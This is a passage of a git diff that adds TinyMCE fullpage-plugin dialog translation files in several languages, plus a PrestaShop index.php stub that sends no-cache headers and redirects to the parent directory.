v\u00e4ri","hover_color":"Hover-v\u00e4ri","visited_color":"Vierailtu v\u00e4ri","active_color":"Aktiivinen v\u00e4ri",textcolor:"V\u00e4ri",fontsize:"Fonttikoko",fontface:"Fontti","meta_index_follow":"Indeksoi ja seuraa linkkej\u00e4","meta_index_nofollow":"Indeksoi, mutta \u00e4l\u00e4 seuraa linkkej\u00e4","meta_noindex_follow":"\u00c4l\u00e4 indeksoi, mutta seuraa linkkej\u00e4.","meta_noindex_nofollow":"\u00c4l\u00e4 indeksoi, \u00e4l\u00e4k\u00e4 seuraa linkkej\u00e4","appearance_style":"Tyylitiedosto ja tyylin asetukset",stylesheet:"Tyylitiedosto",style:"Tyyli",author:"Kirjoittaja",copyright:"Copyright",add:"Lis\u00e4\u00e4 uusi elementti",remove:"Poista valittu elementti",moveup:"Siirr\u00e4 valittua elementti\u00e4 yl\u00f6s",movedown:"Siirr\u00e4 valittua elementti\u00e4 alas","head_elements":"P\u00e4\u00e4elementti",info:"Informaatio","add_title":"Otsikkoelementti","add_meta":"Meta-elementti","add_script":"Script-elementti","add_style":"Tyylielementti","add_link":"Linkkielementti","add_base":"Base-elementti","add_comment":"Yleinen elementti","title_element":"Otsikkoelementti","script_element":"Script-elementti","style_element":"Tyylielementti","base_element":"Base-elementti","link_element":"Linkkielementti","meta_element":"Meta-elementti","comment_element":"Kommentti",src:"L\u00e4hde",language:"Kieli",href:"Href",target:"Kohde",type:"Tyyppi",charset:"Kirjasintyyppi",defer:"Mukautuminen",media:"Media",properties:"Asetukset",name:"Nimi",value:"Arvo",content:"Sis\u00e4lt\u00f6",rel:"Rel",rev:"Rev",hreflang:"Href-kieli","general_props":"Yleinen","advanced_props":"Edistynyt"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/fr_dlg.js b/js/tiny_mce/plugins/fullpage/langs/fr_dlg.js new file mode 100755 index 0000000..c2ddc65 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.fullpage_dlg',{title:"Propri\u00e9t\u00e9s du document","meta_tab":"G\u00e9n\u00e9ral","appearance_tab":"Apparence","advanced_tab":"Avanc\u00e9","meta_props":"Metadonn\u00e9es",langprops:"Langue et encodage","meta_title":"Titre","meta_keywords":"Mots-cl\u00e9s","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"Code de la langue",langdir:"Sens de lecture",ltr:"De gauche \u00e0 droite",rtl:"De droite \u00e0 gauche","xml_pi":"D\u00e9claration XML",encoding:"Encodage des caract\u00e8res","appearance_bgprops":"Propri\u00e9t\u00e9s du fond","appearance_marginprops":"Marge du corps de la page","appearance_linkprops":"Couleurs des liens","appearance_textprops":"Propri\u00e9t\u00e9s du texte",bgcolor:"Couleur de fond",bgimage:"Image de fond","left_margin":"Marge de gauche","right_margin":"Marge de droite","top_margin":"Marge du haut","bottom_margin":"Marge du bas","text_color":"Couleur du texte","font_size":"Taille de la police","font_face":"Nom de la police","link_color":"Couleur des liens","hover_color":"Couleur au survol","visited_color":"Couleur des liens visit\u00e9s","active_color":"Couleur du lien actif",textcolor:"Couleur",fontsize:"Taille de police",fontface:"Nom de la police","meta_index_follow":"Indexer et suivre les liens","meta_index_nofollow":"Indexer et ne pas suivre les liens","meta_noindex_follow":"Ne pas indexer et suivre les liens","meta_noindex_nofollow":"Ne pas indexer et ne pas suivre les liens","appearance_style":"Propri\u00e9t\u00e9s de la feuille de style et du style",stylesheet:"Feuille de style",style:"Style",author:"Auteur",copyright:"Copyright",add:"Ajouter un nouvel \u00e9l\u00e9ment",remove:"Retirer l\'\u00e9l\u00e9ment s\u00e9lectionn\u00e9",moveup:"D\u00e9placer l\'\u00e9l\u00e9ment s\u00e9lectionn\u00e9 vers le haut",movedown:"D\u00e9placer l\'\u00e9l\u00e9ment s\u00e9lectionn\u00e9 vers le bas","head_elements":"\u00c9l\u00e9ments d\'en-t\u00eate",info:"Information","add_title":"\u00c9l\u00e9ment de titre","add_meta":"\u00c9l\u00e9ment Meta","add_script":"\u00c9l\u00e9ment de script","add_style":"\u00c9l\u00e9ment de style","add_link":"\u00c9l\u00e9ment de lien","add_base":"\u00c9l\u00e9ment de base","add_comment":"Commentaire","title_element":"\u00c9l\u00e9ment de titre","script_element":"\u00c9l\u00e9ment de script","style_element":"\u00c9l\u00e9ment de style","base_element":"\u00c9l\u00e9ment de base","link_element":"\u00c9l\u00e9ment de lien","meta_element":"\u00c9l\u00e9ment Meta","comment_element":"Commentaire",src:"Source",language:"Langue",href:"Href",target:"Cible",type:"Type",charset:"Charset",defer:"D\u00e9f\u00e9rer",media:"M\u00e9dia",properties:"Propri\u00e9t\u00e9s",name:"Nom",value:"Valeur",content:"Contenu",rel:"Rel",rev:"Rev",hreflang:"langue Href","general_props":"G\u00e9n\u00e9ral","advanced_props":"Avanc\u00e9"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/gl_dlg.js b/js/tiny_mce/plugins/fullpage/langs/gl_dlg.js new file mode 100755 index 0000000..d497cfc --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.fullpage_dlg',{title:"Propiedades do documento","meta_tab":"Xeral","appearance_tab":"Apariencia","advanced_tab":"Avanzado","meta_props":"Informaci\u00f3n Meta",langprops:"Lenguaxe e codificaci\u00f3n","meta_title":"T\u00edtulo","meta_keywords":"Verbas chave","meta_description":"Descripci\u00f3n","meta_robots":"Robots",doctypes:"Tipo de doc.",langcode:"C\u00f3digo da lenguaxe",langdir:"Direcci\u00f3n da lenguaxe",ltr:"Esquerda a dereita",rtl:"Dereita a esquerda","xml_pi":"Declaraci\u00f3n XML",encoding:"Codificaci\u00f3n de caracteres","appearance_bgprops":"Propiedades do fondo","appearance_marginprops":"Marxes","appearance_linkprops":"Cores do v\u00ednculo","appearance_textprops":"Propiedades de texto",bgcolor:"Cor de fondo",bgimage:"Imaxe de fondo","left_margin":"Marxe esquerdo","right_margin":"Marxe dereito","top_margin":"Marxe superior","bottom_margin":"Marxe inferior","text_color":"Cor do texto","font_size":"Tama\u00f1o de fonte","font_face":"Fonte","link_color":"Cor de v\u00ednculo","hover_color":"Cor rato encima","visited_color":"Cor visitado","active_color":"Cor activo",textcolor:"Cor",fontsize:"Tama\u00f1o de fonte",fontface:"Fonte","meta_index_follow":"Indexar e segui-los v\u00ednculos","meta_index_nofollow":"Indexar e non segui-los v\u00ednculos","meta_noindex_follow":"Non indexar pero seguir v\u00ednculos","meta_noindex_nofollow":"Non indexar e non seguir v\u00ednculos","appearance_style":"Propiedades de folla de estilos e estilo",stylesheet:"Folla de estilo",style:"Estilo",author:"Autor",copyright:"Copyright",add:"Agregar novo elemento",remove:"Eliminar elemento seleccionado",moveup:"Mover elemento seleccionado arriba",movedown:"Mover elemento seleccionado abaixo","head_elements":"Elementos Head",info:"Informaci\u00f3n","add_title":"Elemento Title","add_meta":"Elemento Meta","add_script":"Elemento Script","add_style":"Elemento Style","add_link":"Elemento Link","add_base":"Elemento Base","add_comment":"Nodo Comment","title_element":"Elemento Title","script_element":"Elemento Script","style_element":"Elemento Style","base_element":"Elemento Base","link_element":"Elemento Link","meta_element":"Elemento Meta","comment_element":"Comentario",src:"Src",language:"Lenguaxe",href:"Href",target:"Obxetivo",type:"Tipo",charset:"Charset",defer:"Defer",media:"Medio",properties:"Propiedades",name:"Nome",value:"Valor",content:"Contido",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Xeral","advanced_props":"Avanzado"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/he_dlg.js b/js/tiny_mce/plugins/fullpage/langs/he_dlg.js new file mode 100755 index 0000000..341e5bb --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.fullpage_dlg',{title:"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05de\u05e1\u05de\u05da","meta_tab":"\u05db\u05dc\u05dc\u05d9","appearance_tab":"\u05de\u05e8\u05d0\u05d4","advanced_tab":"\u05de\u05ea\u05e7\u05d3\u05dd","meta_props":"\u05ea\u05d2\u05d9 \u05de\u05d8\u05d4",langprops:"\u05e9\u05e4\u05d4 \u05d5\u05e7\u05d9\u05d3\u05d5\u05d3","meta_title":"\u05db\u05d5\u05ea\u05e8\u05ea","meta_keywords":"\u05de\u05d9\u05dc\u05d5\u05ea \u05de\u05e4\u05ea\u05d7","meta_description":"\u05ea\u05d9\u05d0\u05d5\u05e8","meta_robots":"\u05e8\u05d5\u05d1\u05d5\u05d8\u05d9\u05dd",doctypes:"Doctype",langcode:"\u05e7\u05d5\u05d3 \u05d4\u05e9\u05e4\u05d4",langdir:"\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e4\u05d4",ltr:"\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",rtl:"\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc","xml_pi":"XML declaration",encoding:"\u05e7\u05d9\u05d3\u05d5\u05d3 \u05ea\u05d5\u05d5\u05d9\u05dd","appearance_bgprops":"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05e8\u05e7\u05e2","appearance_marginprops":"Body margins","appearance_linkprops":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd","appearance_textprops":"Text properties",bgcolor:"\u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2",bgimage:"\u05ea\u05de\u05d5\u05e0\u05ea \u05e8\u05e7\u05e2","left_margin":"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05e9\u05de\u05d0\u05dc\u05d9\u05d9\u05dd","right_margin":"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05d9\u05de\u05e0\u05d9\u05d9\u05dd","top_margin":"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05e2\u05dc\u05d9\u05d5\u05e0\u05d9\u05dd","bottom_margin":"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05ea\u05d7\u05ea\u05d9\u05d9\u05dd","text_color":"\u05e6\u05d1\u05e2 \u05d8\u05e7\u05e1\u05d8","font_size":"\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05df","font_face":"\u05e1\u05d5\u05d2 \u05d2\u05d5\u05e4\u05df","link_color":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8","hover_color":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d1\u05de\u05e2\u05d1\u05e8 \u05e2\u05db\u05d1\u05e8","visited_color":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05e9\u05e0\u05e6\u05e4\u05d4","active_color":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05e4\u05e2\u05d9\u05dc",textcolor:"\u05e6\u05d1\u05e2",fontsize:"\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05df",fontface:"\u05d2\u05d5\u05e4\u05df","meta_index_follow":"Index and follow the links","meta_index_nofollow":"Index and don\'t follow the links","meta_noindex_follow":"Do not index but follow the links","meta_noindex_nofollow":"Do not index and don\\\'t follow the links","appearance_style":"Stylesheet and style properties",stylesheet:"\u05e1\u05d2\u05e0\u05d5\u05df \u05e2\u05d9\u05e6\u05d5\u05d1",style:"\u05e2\u05d9\u05e6\u05d5\u05d1",author:"\u05db\u05d5\u05ea\u05d1",copyright:"\u05d6\u05db\u05d5\u05d9\u05d5\u05ea \u05d9\u05d5\u05e6\u05e8\u05d9\u05dd",add:"Add new element",remove:"Remove selected element",moveup:"Move selected element up",movedown:"Move selected element down","head_elements":"Head elements",info:"\u05de\u05d9\u05d3\u05e2","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"\u05ea\u05d2\u05d5\u05d1\u05d4",src:"\u05db\u05ea\u05d5\u05d1\u05ea \u05de\u05e7\u05d5\u05e8",language:"\u05e9\u05e4\u05d4",href:"Href",target:"\u05d9\u05e2\u05d3",type:"\u05e1\u05d5\u05d2",charset:"\u05e7\u05d9\u05d3\u05d5\u05d3",defer:"Defer",media:"\u05de\u05d3\u05d9\u05d4",properties:"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9\u05dd",name:"\u05e9\u05dd",value:"\u05e2\u05e8\u05da",content:"\u05ea\u05d5\u05db\u05df",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u05db\u05dc\u05dc\u05d9","advanced_props":"\u05de\u05ea\u05e7\u05d3\u05dd"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/hu_dlg.js b/js/tiny_mce/plugins/fullpage/langs/hu_dlg.js new file mode 100755 index 0000000..b206705 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.fullpage_dlg',{title:"Dokumentum tulajdons\u00e1gai","meta_tab":"\u00c1ltal\u00e1nos","appearance_tab":"Megjelen\u00e9s","advanced_tab":"Halad\u00f3","meta_props":"Meta inform\u00e1ci\u00f3",langprops:"Nyelv \u00e9s k\u00f3dol\u00e1s","meta_title":"C\u00edm","meta_keywords":"Kulcsszavak","meta_description":"Le\u00edr\u00e1s","meta_robots":"Robotok",doctypes:"Doctype",langcode:"Nyelvk\u00f3d",langdir:"\u00cdr\u00e1s ir\u00e1nya",ltr:"Balr\u00f3l jobra",rtl:"Jobbr\u00f3l balra","xml_pi":"XML deklar\u00e1ci\u00f3",encoding:"Karakterk\u00f3dol\u00e1s","appearance_bgprops":"H\u00e1tt\u00e9r tulajdons\u00e1gai","appearance_marginprops":"Test keret","appearance_linkprops":"Link sz\u00ednek","appearance_textprops":"Sz\u00f6veg tulajdons\u00e1gai",bgcolor:"H\u00e1tt\u00e9rsz\u00edn",bgimage:"H\u00e1tt\u00e9rk\u00e9p","left_margin":"Bal marg\u00f3","right_margin":"Jobb marg\u00f3","top_margin":"Fels\u0151 marg\u00f3","bottom_margin":"Als\u00f3 marg\u00f3","text_color":"Sz\u00f6vegsz\u00edn","font_size":"Bet\u0171m\u00e9ret","font_face":"Bet\u0171t\u00edpus","link_color":"Link sz\u00edn","hover_color":"F\u00f6l\u00e9vitt sz\u00edn","visited_color":"L\u00e1togatva sz\u00edn","active_color":"Akt\u00edv sz\u00edn",textcolor:"Sz\u00edn",fontsize:"Bet\u0171m\u00e9ret",fontface:"Bet\u0171t\u00edpus","meta_index_follow":"Indexel \u00e9s k\u00f6veti a linkeket","meta_index_nofollow":"Indexel, de nem k\u00f6veti a linkeket","meta_noindex_follow":"Nem indexel, de k\u00f6veti a linkeket","meta_noindex_nofollow":"Nem indexel \u00e9s nem k\u00f6veti a linkeket","appearance_style":"Stylesheet \u00e9s style tulajdons\u00e1gok",stylesheet:"Stylesheet",style:"Style",author:"Szerz\u0151",copyright:"Copyright",add:"\u00daj elem hozz\u00e1ad\u00e1sa",remove:"Kijel\u00f6lt elem t\u00f6rl\u00e9se",moveup:"Kijel\u00f6lt elem felfel\u00e9 mozgat\u00e1sa",movedown:"Kijel\u00f6lt elem lefel\u00e9 mozgat\u00e1sa","head_elements":"Fej elemek",info:"Inform\u00e1ci\u00f3","add_title":"C\u00edm elem","add_meta":"Meta elem","add_script":"Script elem","add_style":"Style elem","add_link":"Link elem","add_base":"Base elem","add_comment":"Comment elem","title_element":"Title elem","script_element":"Script elem","style_element":"Style elem","base_element":"Base elem","link_element":"Link elem","meta_element":"Meta elem","comment_element":"Megjegyz\u00e9s",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u00c1ltal\u00e1nos","advanced_props":"Halad\u00f3"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/id_dlg.js b/js/tiny_mce/plugins/fullpage/langs/id_dlg.js new file mode 100755 index 0000000..051788f --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.fullpage_dlg',{title:"Document properties","meta_tab":"General","appearance_tab":"Appearance","advanced_tab":"Advanced","meta_props":"Meta information",langprops:"Language and encoding","meta_title":"Title","meta_keywords":"Keywords","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"Language code",langdir:"Language direction",ltr:"Left to right",rtl:"Right to left","xml_pi":"XML declaration",encoding:"Character encoding","appearance_bgprops":"Background properties","appearance_marginprops":"Body margins","appearance_linkprops":"Link colors","appearance_textprops":"Text properties",bgcolor:"Background color",bgimage:"Background image","left_margin":"Left margin","right_margin":"Right margin","top_margin":"Top margin","bottom_margin":"Bottom margin","text_color":"Text color","font_size":"Font size","font_face":"Font face","link_color":"Link color","hover_color":"Hover color","visited_color":"Visited color","active_color":"Active color",textcolor:"Color",fontsize:"Font size",fontface:"Font family","meta_index_follow":"Index and follow the links","meta_index_nofollow":"Index and don\'t follow the links","meta_noindex_follow":"Do not index but follow the links","meta_noindex_nofollow":"Do not index and don\\\'t follow the links","appearance_style":"Stylesheet and style properties",stylesheet:"Stylesheet",style:"Style",author:"Author",copyright:"Copyright",add:"Add new element",remove:"Remove selected element",moveup:"Move selected element up",movedown:"Move selected element down","head_elements":"Head elements",info:"Information","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Advanced"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/index.php b/js/tiny_mce/plugins/fullpage/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/fullpage/langs/it_dlg.js b/js/tiny_mce/plugins/fullpage/langs/it_dlg.js new file mode 100755 index 0000000..d5445e8 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.fullpage_dlg',{title:"Propriet\u00e0 Documento","meta_tab":"Generale","appearance_tab":"Aspetto","advanced_tab":"Avanzate","meta_props":"Informazioni Metatag",langprops:"Lingua e codifica","meta_title":"Titolo","meta_keywords":"Parole chiave","meta_description":"Descrizione","meta_robots":"Robots",doctypes:"Doctype",langcode:"Codice lingua",langdir:"Direzione testo",ltr:"Sinistra verso destra",rtl:"Destra verso sinistra","xml_pi":"Dichiarazione XML",encoding:"Codifica carattere","appearance_bgprops":"Propriet\u00e0 sfondo","appearance_marginprops":"Margini body","appearance_linkprops":"Colori collegamenti","appearance_textprops":"Propriet\u00e0 testo",bgcolor:"Colore sfondo",bgimage:"Immagine sfondo","left_margin":"Margine sinistro","right_margin":"Margine destro","top_margin":"Margine superiore","bottom_margin":"Margine inferiore","text_color":"Colore testo","font_size":"Dimensione carattere","font_face":"Tipo carattere","link_color":"Colore collegamento","hover_color":"Colore \\\'Hover\\\'","visited_color":"Colore \\\'Visited\\\'","active_color":"Colore \\\'Active\\\'",textcolor:"Colore",fontsize:"Dimensione carattere",fontface:"Famiglia carattere","meta_index_follow":"Indicizzare e seguire collegamenti","meta_index_nofollow":"Indicizzare e non segure collegamenti","meta_noindex_follow":"Non indicizzare ma seguire collegamenti","meta_noindex_nofollow":"Non indicizzare e non seguire collegamenti","appearance_style":"Propriet\u00e0 stili e fogli di stile",stylesheet:"Fogli di stile",style:"Stile",author:"Autore",copyright:"Copyright",add:"Aggiungi nuovo elemento",remove:"Rimuovi elemento selezionato",moveup:"Sposta elemento selezionato in alto",movedown:"Sposta elemento selezionato in basso","head_elements":"Elementi Head",info:"Informazioni","add_title":"Elemento Titolo","add_meta":"Elemento Meta","add_script":"Elemento Script","add_style":"Elemento Style","add_link":"Elemento Link","add_base":"Elemento Base","add_comment":"Nodo Commento","title_element":"Elemento Titolo","script_element":"Elemento Script","style_element":"Elemento Style","base_element":"Elemento Base","link_element":"Elemento Link","meta_element":"Elemento Meta","comment_element":"Commento",src:"Sorgente",language:"Linguaggio",href:"Href",target:"Target",type:"Tipo",charset:"Set caratteri",defer:"Defer",media:"Media",properties:"Propriet\u00e0",name:"Nome",value:"Valore",content:"Contenuto",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Generale","advanced_props":"Avanzate"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/ja_dlg.js b/js/tiny_mce/plugins/fullpage/langs/ja_dlg.js new file mode 100755 index 0000000..759ac4e --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.fullpage_dlg',{title:"\u30da\u30fc\u30b8\u306e\u5c5e\u6027","meta_tab":"\u4e00\u822c","appearance_tab":"\u8868\u793a","advanced_tab":"\u9ad8\u5ea6\u306a\u8a2d\u5b9a","meta_props":"\u30e1\u30bf\u60c5\u5831",langprops:"\u8a00\u8a9e\u3068\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0","meta_title":"\u30bf\u30a4\u30c8\u30eb","meta_keywords":"\u30ad\u30fc\u30ef\u30fc\u30c9","meta_description":"\u8aac\u660e","meta_robots":"\u691c\u7d22\u30ed\u30dc\u30c3\u30c8\u306e\u5236\u5fa1",doctypes:"\u6587\u66f8\u578b",langcode:"\u8a00\u8a9e\u30b3\u30fc\u30c9",langdir:"\u6587\u7ae0\u306e\u65b9\u5411",ltr:"\u5de6\u304b\u3089\u53f3",rtl:"\u53f3\u304b\u3089\u5de6","xml_pi":"XML\u5ba3\u8a00",encoding:"\u6587\u5b57\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0","appearance_bgprops":"\u80cc\u666f\u306e\u5c5e\u6027","appearance_marginprops":"Body\u306e\u4f59\u767d","appearance_linkprops":"\u30ea\u30f3\u30af\u306e\u8272","appearance_textprops":"\u6587\u5b57\u306e\u5c5e\u6027",bgcolor:"\u80cc\u666f\u306e\u8272",bgimage:"\u80cc\u666f\u306e\u753b\u50cf","left_margin":"\u5de6\u306e\u4f59\u767d","right_margin":"\u53f3\u306e\u4f59\u767d","top_margin":"\u4e0a\u306e\u4f59\u767d","bottom_margin":"\u4e0b\u306e\u4f59\u767d","text_color":"\u6587\u5b57\u306e\u8272","font_size":"\u6587\u5b57\u306e\u5927\u304d\u3055","font_face":"\u30d5\u30a9\u30f3\u30c8","link_color":"\u30ea\u30f3\u30af\u306e\u8272","hover_color":"\u30de\u30a6\u30b9\u30ab\u30fc\u30bd\u30eb\u304c\u3042\u308b\u30ea\u30f3\u30af\u306e\u8272(hover)","visited_color":"\u65e2\u306b\u8aad\u3093\u3060\u30ea\u30f3\u30af\u306e\u8272(visited)","active_color":"\u30af\u30ea\u30c3\u30af\u3057\u305f\u77ac\u9593\u306e\u30ea\u30f3\u30af\u306e\u8272(active)",textcolor:"\u8272",fontsize:"\u6587\u5b57\u306e\u5927\u304d\u3055",fontface:"\u30d5\u30a9\u30f3\u30c8","meta_index_follow":"\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u4f7f\u7528\u3057\u3066\u30ea\u30f3\u30af\u3092\u305f\u3069\u308b","meta_index_nofollow":"\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u4f7f\u7528\u3057\u3066\u30ea\u30f3\u30af\u306f\u305f\u3069\u3089\u306a\u3044","meta_noindex_follow":"\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u4f7f\u7528\u3057\u306a\u3044\u304c\u30ea\u30f3\u30af\u3092\u305f\u3069\u308b","meta_noindex_nofollow":"\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u4f7f\u7528\u3057\u306a\u3044\u3067\u30ea\u30f3\u30af\u3082\u305f\u3069\u3089\u306a\u3044","appearance_style":"\u30b9\u30bf\u30a4\u30eb\u30b7\u30fc\u30c8\u3068\u30b9\u30bf\u30a4\u30eb\u306e\u5c5e\u6027",stylesheet:"\u30b9\u30bf\u30a4\u30eb\u30b7\u30fc\u30c8",style:"\u30b9\u30bf\u30a4\u30eb",author:"\u4f5c\u6210\u8005",copyright:"\u8457\u4f5c\u6a29",add:"\u65b0\u3057\u304f\u8981\u7d20\u3092\u8ffd\u52a0",remove:"\u9078\u629e\u3057\u305f\u8981\u7d20\u3092\u524a\u9664",moveup:"\u9078\u629e\u3057\u305f\u8981\u7d20\u3092\u4e0a\u306b\u79fb\u52d5",movedown:"\u9078\u629e\u3057\u305f\u8981\u7d20\u3092\u4e0b\u306b\u79fb\u52d5","head_elements":"Head\u8981\u7d20",info:"\u60c5\u5831","add_title":"Title\u8981\u7d20","add_meta":"Meta\u8981\u7d20","add_script":"Script\u8981\u7d20","add_style":"Style\u8981\u7d20","add_link":"Link\u8981\u7d20","add_base":"Base\u8981\u7d20","add_comment":"Comment\u30ce\u30fc\u30c9","title_element":"Title\u8981\u7d20","script_element":"Script\u8981\u7d20","style_element":"Style\u8981\u7d20","base_element":"Base\u8981\u7d20","link_element":"Link\u8981\u7d20","meta_element":"Meta\u8981\u7d20","comment_element":"\u30b3\u30e1\u30f3\u30c8",src:"src",language:"\u8a00\u8a9e",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href\u306e\u8a00\u8a9e","general_props":"\u4e00\u822c","advanced_props":"\u9ad8\u5ea6\u306a\u8a2d\u5b9a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/ka_dlg.js b/js/tiny_mce/plugins/fullpage/langs/ka_dlg.js new file mode 100755 index 0000000..0bf6789 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.fullpage_dlg',{title:"\u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","meta_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd","appearance_tab":"\u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10d0","advanced_tab":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7","meta_props":"\u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d8\u10e1 \u10db\u10d8\u10d6\u10d0\u10dc\u10d8",langprops:"\u10d4\u10dc\u10d0 \u10d3\u10d0 \u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0","meta_title":"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","meta_keywords":"\u10e1\u10d0\u10d9\u10d5\u10d0\u10dc\u10eb\u10dd \u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10d8","meta_description":"\u10d0\u10e0\u10ec\u10d4\u10e0\u10d0","meta_robots":"\u10dc\u10d0\u10db\u10e3\u10e8\u10d4\u10d5\u10e0\u10d4\u10d1\u10d8",doctypes:"\u10e2\u10d8\u10de\u10d8",langcode:"\u10d4\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8",langdir:"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0",ltr:"\u10db\u10d0\u10e0\u10ea\u10e1\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",rtl:"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","xml_pi":"XML \u10d2\u10d0\u10dc\u10ea\u10ee\u10d0\u10d3\u10d4\u10d1\u10d0",encoding:"\u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0","appearance_bgprops":"\u10e4\u10dd\u10dc\u10d8\u10e1 